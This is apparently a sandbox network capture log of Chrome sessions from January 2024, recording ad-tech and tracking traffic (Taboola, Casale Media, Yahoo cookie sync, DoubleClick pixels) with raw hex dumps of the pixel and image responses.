2024-01-10 23:27:29 UTC	987	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0dfbe741fdd-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:29 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yoS8BLvBI91O5UqOHQ7pxIypsKc%2BCVQ9rSrXni6cBFJ%2BsrezluvDwYpW%2FgseP5PZQxPglT6%2BPHgQ%2ByNinw0Aenft756WVqX7g08NJ9pcwN9WrKrrD0qpk53gjZwLRbsKYIXtnwFJhnUrTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.4	50496	151.101.129.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	651	OUT	GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F901b327bf2cb2296c935b2fa335542c9.jpg HTTP/1.1 Host: images.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:29 UTC	1291	IN	HTTP/1.1 200 OK Connection: close Content-Length: 62319 Server: nginx Content-Type: image/jpeg access-control-allow-headers: X-Requested-With access-control-allow-origin: * cache-tag: 609022328791245387634678871092794487736,516087800394054678397225022194716394134,29ecf9b93bbf306179626feeda1fab70 edge-cache-tag: 609022328791245387634678871092794487736,516087800394054678397225022194716394134,29ecf9b93bbf306179626feeda1fab70 etag: "33262bbbd3a0372031794e7ca6ea2ff2" last-modified: Tue, 02 Jan 2024 12:32:36 GMT req-referer: https://www.aol.com/ status: 200 OK surrogate-reporting: width=1200,height=627,bytes=62319,owidth=4171,oheight=2665,obytes=3888869,ef=(1,13,17,23,30) timing-allow-origin: * x-ratelimit-limit: 101 x-ratelimit-remaining: 100 x-ratelimit-reset: 1 x-request-id: d33a35f51556b94ae696e6d099c56033 x-envoy-upstream-service-time: 99 Via: 1.1 varnish, 1.1 varnish Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:29 GMT Age: 558225 X-Served-By: cache-iad-kjyo7100055-IAD, cache-iad-kiad7000105-IAD, cache-lga21946-LGA, cache-iad-kcgs7200072-IAD, cache-ewr18121-EWR X-Cache: Miss from cloudfront, MISS, HIT, HIT, HIT, HIT X-Cache-Hits: 0, 1, 1, 23, 1 X-Timer: S1704929249.265852,VS0,VE4 Vary: ImageFormat
2024-01-10 23:27:29 UTC	218	IN	Data Raw: 58 2d 64 65 62 75 67 3a 20 2f 74 61 62 6f 6f 6c 61 2f 69 6d 61 67 65 2f 66 65 74 63 68 2f 66 5f 6a 70 67 25 32 43 71 5f 61 75 74 6f 25 32 43 68 5f 36 32 37 25 32 43 77 5f 31 32 30 30 25 32 43 63 5f 66 69 6c 6c 25 32 43 67 5f 66 61 63 65 73 3a 61 75 74 6f 25 32 43 65 5f 73 68 61 72 70 65 6e 2f 68 74 74 70 25 33 41 25 32 46 25 32 46 63 64 6e 2e 74 61 62 6f 6f 6c 61 2e 63 6f 6d 25 32 46 6c 69 62 74 72 63 25 32 46 73 74 61 74 69 63 25 32 46 74 68 75 6d 62 6e 61 69 6c 73 25 32 46 39 30 31 62 33 32 37 62 66 32 63 62 32 32 39 36 63 39 33 35 62 32 66 61 33 33 35 35 34 32 63 39 2e 6a 70 67 0d 0a 58 2d 76 63 6c 2d 74 69 6d 65 2d 6d 73 3a 20 34 0d 0a 0d 0a Data Ascii: X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F901b327bf2cb2296c935b2fa335542c9.jpgX-vcl-time-ms: 4
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 07 07 07 07 07 07 08 09 09 08 0b 0c 0b 0c 0b 10 0f 0e 0e 0f 10 19 12 13 12 13 12 19 25 17 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37 3a 45 53 4a 4a 53 69 63 69 89 89 b8 01 07 07 07 07 07 07 08 09 09 08 0b 0c 0b 0c 0b 10 0f 0e 0e 0f 10 19 12 13 12 13 12 19 25 17 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37 3a 45 53 4a 4a 53 69 63 69 89 89 b8 ff c2 00 11 08 02 73 04 b0 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 f0 4c 0c f9 d7 2f 75 80 56 88 40 46 c8 58 Data Ascii: JFIF%%!(!!(!;/))/;E:7:ESJJSici%%!(!!(!;/))/;E:7:ESJJSicis"4L/uV@FX
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: 2e c3 5b 72 e6 c9 45 1a 83 c0 fd 1c 2a 7f 3e 83 ee 5f 28 e8 f3 71 06 68 df 89 3a da d2 c3 16 81 d9 94 d8 0d 04 86 09 76 20 ad 70 54 0e 26 49 8d 70 00 c9 22 93 ae 60 54 83 aa 6d 59 47 98 ad 18 a0 26 5a 88 0d 12 26 a0 9c 40 ac 12 40 5d 6b 80 68 cc 02 66 8b 26 51 df 83 ac 60 20 ea 5c 49 f5 ec 00 35 3a 80 11 12 a0 7b 25 70 bc 5e 1a a8 ae 10 ad e9 c0 c1 47 79 76 81 d4 77 20 2e 13 6a 48 12 d4 b0 11 a4 44 27 02 3b 05 2f c3 61 dc cc 61 03 b9 7b 49 11 46 21 ba 4c ce 16 a5 54 e0 32 25 00 47 57 82 d6 0c 05 88 9b 40 4a cc 07 5c 76 19 26 b6 47 5a 24 24 81 aa 0f 50 c8 15 85 9b 60 60 dc 98 8f 3c d4 dd 57 06 01 7a ed ec f7 f9 9f b1 f5 5e 9b 2e 9b b6 27 33 f4 8e ca 65 df 22 9c 9a 1a 72 66 e7 ee 60 65 49 62 7a 7f 92 79 fa 7d 73 6f e3 e7 9c be cd df 3e f6 5e 97 0b f9 9a f3 Data Ascii: .[rE*>_(qh:v pT&Ip"`TmYG&Z&@@]khf&Q` \I5:{%p^Gyvw .jHD';/aa{IF!LT2%GW@J\v&GZ$$P``<Wz^.'3e"rf`eIbzy}so>^
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: 43 a9 a9 bf 1e e6 92 c6 ef f1 49 d4 ea 92 c8 a4 32 32 75 bc 67 8f e9 fd 09 ef 95 fd 27 b7 95 b1 14 7d 9c bd 31 50 bf 47 04 d6 04 a8 d1 98 0c 37 3f c3 7e cb e3 b9 7d 09 67 c8 6b 72 7a 3e 81 bf 3e e2 ad a6 b1 db d3 2d 72 66 5f 7e 47 d3 48 b3 a2 f9 3e a7 33 2d 7e 4b e1 fe f9 e4 35 e4 f9 7d 5b ee ff 00 25 0a b6 30 5e ac 50 4b d4 b2 c5 e4 d0 13 5b f2 04 06 28 ca 5a fc 98 a9 c9 b1 b2 01 c4 0f af 20 2b d8 68 90 9a 81 4e 9a 0f a2 bc 1d 59 e0 ac c5 99 41 90 61 5e b5 c0 70 68 40 4b 59 0e 89 90 92 56 42 f1 30 17 69 49 09 0c 48 5a d5 90 8a b4 a8 75 e2 ed 45 6f c2 af 4c 84 14 67 1d 59 a9 91 f6 2e 76 74 33 da 68 80 aa fa c0 73 9d 4d 3a a7 9f da 36 0c aa 3e d7 37 6a 3b 77 6f ce f5 e0 f7 69 b1 f3 36 d3 35 cd 28 89 f0 af 2d 4d 04 b2 b6 13 a2 8a ad e2 77 7e 7e 9e 21 96 62 Data Ascii: CI22ug'}1PG7?~}gkrz>>-rf_~GH>3-~K5}[%0^PK[(Z +hNYAa^ph@KYVB0iIHZuEoLgY.vt3hsM:6>7j;woi65(-Mw~~!b
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: 3c fd 69 a5 aa 50 4d 74 44 a1 7b 54 72 ce 2b 89 15 a7 09 93 60 59 85 a4 50 09 14 18 70 6b c1 20 25 04 0a 34 b8 56 85 3d 2c d0 6b ae 8c a4 f6 c4 3c 05 fd 12 a3 c2 1e fd 03 16 9a 6b b4 80 f4 61 ac fe 3d 1c 8d 76 f9 34 21 ae 73 4e 27 05 2a 61 32 3a 48 2f d1 96 5e d8 6e 4c 6d 80 54 a1 97 79 e4 f4 f4 5a 50 bc dd c6 b8 0e 82 5c 76 19 88 b1 5a bc 56 8d 48 f9 7a 4d ca 06 a8 32 65 02 ae 14 82 6a 4d 07 61 ec 1b a6 62 d0 ac b9 c3 04 96 e3 e7 26 a8 c2 d3 02 ee a0 5e 43 d1 fc cf 5c 7e 72 46 aa b9 fe 8b ec 3c c6 fd d5 7e 51 f6 2f 91 e4 dc 5d dd 0e 77 59 ca f5 35 97 b7 f6 9e 37 d6 75 e0 f5 d6 27 7f 19 e9 58 17 87 f3 1f 42 f9 df 89 eb 5d 6c 1b 61 a7 b7 17 8c 3a 7a 7f 3b 7f cd 74 4a df a1 bf 37 fd 5f a7 5f ab ca 65 9e 90 26 c8 30 d0 dc 65 d3 cb 13 e0 8a a7 51 9a 81 bb 59 Data Ascii: <iPMtD{Tr+`YPpk %4V=,k<ka=v4!sN'*a2:H/^nLmTyZP\vZVHzM2ejMab&^C\~rF<~Q/]wY57u'XB]la:z;tJ7__e&0eQY
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: 56 3b 0a bb 87 a3 a2 da cd 63 d2 63 88 89 d8 a0 28 1e 6b 64 e2 67 80 77 92 32 90 5a 8e 49 dc 15 3d 19 65 08 4b b9 07 1b 84 21 b9 6b 94 e1 a5 80 55 58 2b 4d 4b e2 86 e7 63 c8 5b cf e9 0e ad 51 4b 16 0e ce 3b 5e 35 c5 9b db 9d c5 74 e9 3b 60 ce c2 9a 62 1f 6b e0 46 e3 ec 3a 7f 2e ee 7e ef ab 93 e6 3a 4e 7d fc f9 ad 27 1a 95 cf a1 2f d7 32 88 d2 0a 28 4b d0 5c 04 bc 73 bc 79 a5 af 15 6f 4d 8b d1 ce 57 31 9f 8d 5b 1c 35 1a fb 3f a2 7e 72 fb 1c 6b ed df c3 7e 2d fb 0c b9 6d 24 0c 4b b5 3a 88 ad f9 84 a9 27 2d 24 e8 fd 13 c6 b6 82 42 d8 d2 f1 3a 3b e1 e9 ad 90 67 0e d4 36 8a 8a c8 e2 e8 b9 54 8d 64 37 1a 7e 7b e7 5f 52 f8 c7 a1 e3 68 6d 66 eb 6b c5 b1 7c c7 30 df 42 4f 31 49 8d ca d4 2b 4d 30 2a cf ba ab dc 6c 65 40 50 e3 84 26 7a c5 d1 94 d8 0c 57 4c a6 38 ce Data Ascii: V;cc(kdgw2ZI=eK!kUX+MKc[QK;^5t;`bkF:.~:N}'/2(K\syoMW1[5?~rk~-m$K:'-$B:;g6Td7~{_Rhmfk\|0BO1I+M0*le@P&zWL8
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: 2d 1a 4a c1 bc d5 20 75 93 f3 1e 63 e9 68 b8 f9 06 07 dc d2 d2 3f 3f f7 dc 3c b5 c7 cc 67 7f ce 6d cf de db c6 fa 48 d3 d8 ed 79 6d fc 37 6c 20 65 56 96 bb 4e e9 9e 4d f5 a2 6b 31 93 5f 3d 48 c8 9b 73 36 27 3c 85 05 aa 06 26 01 1a 00 6c 05 58 ab 7a aa 89 9a a3 ad 14 15 a9 10 8e 05 aa d2 be 3f d8 65 e9 87 c1 b9 46 7d cf 9c b7 5c 6c 24 59 e1 31 a3 8d 78 a6 83 43 b4 d7 ad f3 fa d8 69 54 c9 a1 0f 3c 9b 54 4f 39 8a 2d 26 cf be f2 ff 00 44 d0 65 81 9b 44 53 0c 97 37 bd 6d 53 69 89 09 ee 96 77 4f 04 45 a0 29 42 40 29 e0 fe 88 a6 57 f0 9b 7a 6f 37 c9 a1 18 a1 30 d6 dc 2b 45 b1 15 b4 d7 08 b0 57 b1 f9 d7 b3 f2 7d 54 db ea 37 c5 e8 b4 c8 59 57 72 54 ea aa 6a 9d cc df a5 cf 1a 0b 53 1d 6e 0a cc d4 76 ee 9a 98 8b 43 91 50 a1 6f a8 59 6a 9d 0b dc 10 03 ad 2b c4 57 48 Data Ascii: -J uch??<gmHym7l eVNMk1_=Hs6'<&lXz?eF}\l$Y1xCiT<TO9-&DeDS7mSiwOE)B@)Wzo70+EW}T7YWrTjSnvCPoYj+WH
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: d1 e4 56 61 64 76 68 96 17 01 a6 97 6a 06 41 05 62 6a 9d 44 51 21 5f 9a fd 33 c0 f2 74 f8 fe 14 f2 6a cd 93 62 5c f7 22 3f 5c c8 5a e7 f6 a5 9a 19 59 4c 22 85 ef 43 d4 75 ba f5 94 da 2d 51 68 eb b9 a4 12 00 64 85 db 3d 57 9b 9b 52 94 6e 43 c3 b9 a7 55 5a 82 2d c4 bc de dc 52 fd 7e 63 d9 6c 0a e2 d3 d2 12 d8 4c 14 a0 88 1d 12 b2 1b b8 08 9b 68 ce 46 77 5c cd 21 f0 f5 9b 63 31 fe ee 46 2c 3b 6d 98 ca 19 69 a6 13 68 46 03 09 00 c8 85 d5 15 76 6c 2c f3 9f 3d 9e 83 c5 fa c3 a7 f9 db 4f eb ff 00 21 e2 f4 f4 6d 9a de 1d bd 98 d6 04 df a9 db 48 e0 7e 0c 34 73 2e ce d8 10 ea 34 b4 64 f4 3c c5 78 91 9d f5 ab 68 d0 f7 54 c9 b1 60 15 c9 bb a8 e2 02 5a 46 82 a9 45 1a c4 5a 13 1a ec 85 35 2a 41 80 16 75 64 81 f1 2f b6 f8 2e df 37 e6 5a 3b 18 9e 97 8e c7 b6 f0 1f 43 e2 Data Ascii: VadvhjAbjDQ!_3tjb\"?\ZYL"Cu-Qhd=WRnCUZ-R~clLhFw\!c1F,;mihFvl,=O!mH~4s.4d<xhT`ZFEZ5*Aud/.7Z;C
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: d7 54 ed c2 6c f4 65 81 15 05 e8 1a b6 38 25 41 22 d4 71 16 8a aa ad 66 22 c1 46 22 6d 41 97 95 26 96 92 4f 3c 8f 29 ee 45 b7 9b f3 e6 bd 62 35 87 97 5f 65 6b 9c 8c 3f 59 e2 fa 70 f6 fb d9 7a d8 ed e0 50 cf 73 af 96 ce fb 0c 0c af c8 03 7f cd 59 f5 3c 0c 3f a3 74 e3 b7 b7 f0 1f b7 f2 f5 69 9f 38 f3 7a 8e 62 b7 53 b2 ce 4b 7a e5 a4 6c f3 54 3d 75 2f 72 cc ad 61 31 00 90 2d 20 61 c9 13 23 2d 7c d7 97 74 7e 77 49 02 ed c2 2e 43 89 6e 25 59 ed 09 7b f3 fa f4 99 91 44 4d 19 d1 34 55 d5 8e 2a d5 ad 1a b8 6e 2a 8a 8e 05 52 55 a5 7b ce 00 45 5a 27 05 a6 1f 42 7b 48 52 6c 2f 47 c6 30 a9 46 b8 81 e4 14 51 c0 c5 c7 cd 6c 68 f9 ad 4a 4b 69 22 e3 45 03 a9 21 76 33 59 4d cb 2d 56 3b 0a 80 35 27 13 93 7e 50 28 6a 2a 0d 20 28 24 12 db 89 ce 63 c7 ca 38 39 c9 8c 4f df 33 Data Ascii: Tle8%A"qf"F"mA&O<)Eb5_ek?YpzPsY<?ti8zbSKzlT=u/ra1- a#-\|t~wI.Cn%Y{DM4UnRU{EZ'B{HRl/G0FQlhJKi"E!v3YM-V;5'~P(j* ($c89O3
2024-01-10 23:27:29 UTC	1378	IN	Data Raw: f9 91 d0 34 ef c2 e0 20 01 76 5d 62 f0 87 1a 99 8d 4c 0e e3 a1 d7 3d 25 e5 d8 66 6c 1d 49 1e 61 40 06 b6 65 5a 4d 37 a0 a8 a6 86 78 93 da 0e 3b 81 a6 11 09 05 7f 0f 49 30 e9 10 60 cf 71 00 1d 50 b1 b4 40 54 38 ab fe 66 5f a7 48 3a c9 97 40 48 d2 d3 4b 3f 32 1b 5b 79 ee dc e2 e1 7a bf 3b cb e8 d6 b7 9e 5e e2 c1 4f 53 85 2d 67 34 c0 ad 6c ee ac 75 22 89 5e 66 2a cd 2c 71 ba 64 fb 3d 5d 22 e7 9b 75 85 0c e0 d1 59 a8 ad c3 ca 89 d5 e1 5c 7d c3 5d 0d 1c f9 d7 34 a3 6b 7e 2c 8d 6d 3f 3f 7c 3a 7a e8 9f 7c f1 98 c6 63 1a d9 cb dc 57 5c fc dd 77 10 cb 4e e3 37 71 8a e9 db 96 aa 5b 29 eb 18 88 fa 61 e9 1e 25 0f 70 94 9e 31 5f 6a 9a 7e 42 9e b8 52 79 cd 0d 76 65 e5 37 a0 ca 6a 3a c1 d8 9d 5c 32 7e 69 a7 cd 73 8f b1 43 26 b1 ab 21 3a 39 8f 34 2a 35 c1 e9 66 23 8b de Data Ascii: 4 v]bL=%flIa@eZM7x;I0`qP@T8f_H:@HK?2[yz;^OS-g4lu"^f,qd=]"uY\}]4k~,m??\|:z\|cW\wN7q[)a%p1_j~BRyve7j:\2~isC&!:945f#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.4	50489	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1244	OUT	GET /cksync.php?cs=1&type=58601&ovsid=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	681	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1;Expires=Sat, 24 Feb 2024 23:27:29 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.4	50494	172.253.62.157	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	634	OUT	GET /pixel?google_nid=rubicon&google_hm=YTE5NWE1N2Q3MmExN2FmNWY3MzBiODE2YjhmYjJiMWNhMDdjNGI4Mw&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:29 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Wed, 10 Jan 2024 23:27:29 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:29 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.4	50493	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1439	OUT	GET /pagead/adview?ai=Cylub1CefZfyIAYPr0_wP_9298AqjprHLbIXIn6mtEMCNtwEQASAAYMmGgIDQJIIBF2NhLXB1Yi0yMzA1MzA0OTk5MTg4NjUzyAEJ4AIAqAMByAMCqgSqAk_QU_cO6ugHxgXt_rjXfm54JwtwPzK__4J3qleQh0T4rFES9Fcokcpa1IrhxEJLqUpQtco521q6z6wWr2Fm2B2KOEaGvjGDw-IQOalzRoyl4FPVitwIR8piAE2Nr3iOKssNiji28bGJ08mPVHgX-v_qpbsS7ZXx36A83_oBXj95v_4oUq-9ah-EaKM89TtHJJJ1jcv9yp_LbCwO3SBc1kyO2NeLs1LPTWDSUcUFsl_uh6dzCVQf3DNuNJZL6kybn1AMNlmbgYMly2y607QpWv_GwxYQJPxgYaqkFmIQh_CXq26yIRwNyr1yLHeAXnk4Qh8SfIvdqv4yuJXwyjHjjH73EEE7HquI7idIV3nvep3CGwafM45jS1k6nHgw52pGKXVqJWQbHlYFLw3gBAGABvbumo7HreyiaKAGIagHpr4bqAeW2BuoB6qbsQKoB4OtsQKoB_-esQKoB9-fsQLYBwDSCB0IgGEQATICigI6BIBAgEBIvf3BOljr9-ir_NODA4AKA_oLAggBgAwB4g0TCJzE6av804MDFYP1lAkd_24PrtAVAYAXAbIXHQobEhRwdWItMjMwNTMwNDk5OTE4ODY1Mxiaq5AB&sigh=9HdD3e5hsLY&uach_m=%5BUACH%5D&cid=CAQSTgAvHhf_CuTml4XjNhrGH-EvH6bmxMeJVbHet60GxZyZiI2P7gJs8_0p3MsS0F6QTGYvkeECjMFC4tFOQ35mixvirlysVV03TtfyIYOfmBgB&cbvp=2&vis=1 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:29 UTC	628	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'none'; object-src 'none' Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 10 Jan 2024 23:27:29 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.4	50503	35.208.249.213	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1535	OUT	GET /api/log/winnotice?tn=41b6e88a2b85b0e731ef8e73e5558712&winloss=2&id=2bbead71faf3a16516f4ce6cae6bd760&seat_id=${AUCTION_SEAT_ID}&currency=${AUCTION_CURRENCY}&bid_id=${AUCTION_BID_ID}&ad_id=${AUCTION_AD_ID}&loss=${AUCTION_LOSS}&imp_id=1&price=${AUCTION_PRICE}&test=0&time=1704929236&dp=Z8J0lIQbohIVEcPuC1ZmaSg7SNIelZzp9RcI_8xr8AI&dsp_id=22&data=mul6hJvxWUoTpElV_5Xmza8ulaQsDhmkYEIF6UyTsaYQLfpNVCwg0YMYTypvtG5b-KBR66pX0T3dR2ZzXwu2v9XyKyQgdsKWzXgswplz6_cvjRBDAa6zjPEWzPCvmmLeFEYELGpcOE_nEgDs-k3oEcKQJ2nEFBThCELsS25BLTmfk14dKEoB9leN6riHaXgpfULVi41wzUe8GTq0wcch4awZ5QgE2w4rFe75O4QSA7VOisczbJ8AHbh4eVoD0JGy44mnaR438LER_XcASNHv0kL_pWIbJza_3j0xS7mxEtxvrcGpPztUiqnrbFX1F-Y5y30pXB7Ifr8EJI-XI1tFvzBl4BUaksOX8x6V5U_6YFSF7EcZGpDddjpDY9IA_rGl8IXSuLFVKj7M_cgAN-_eYenMRSQDd5fJb0xOvdBGFl9mye3di1FcqMZYcGAkpQtBrkLEIHvXpu4ZSe31dPeTfGYe8vZ5Rf0xfUnS8GRlufseg4U4jiikdFWMtyyNVMjaHk-O4i8d0d3fk7xGW8-0_o1qbfbNor